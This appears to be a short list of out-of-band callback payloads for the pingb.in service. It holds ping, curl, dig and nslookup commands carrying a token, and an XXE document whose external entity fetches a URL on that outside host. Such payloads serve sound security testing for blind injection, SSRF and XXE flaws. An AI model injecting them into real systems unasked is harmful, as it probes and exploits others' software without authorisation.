$ ping -c1 -p 00d1d83d1f99378511ef18ead5174800 pingb.in
 

$ curl pingb.in/p/d1d83d1f99378511ef18ead51748
 

$ dig d1d83d1f99378511ef18ead51748 @pingb.in
 

$ dig d1d83d1f99378511ef18ead51748.ns.pingb.in
 

C:\> nslookup d1d83d1f99378511ef18ead51748 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d1d83d1f99378511ef18ead51748">]>
    <foo>&xxe;</foo>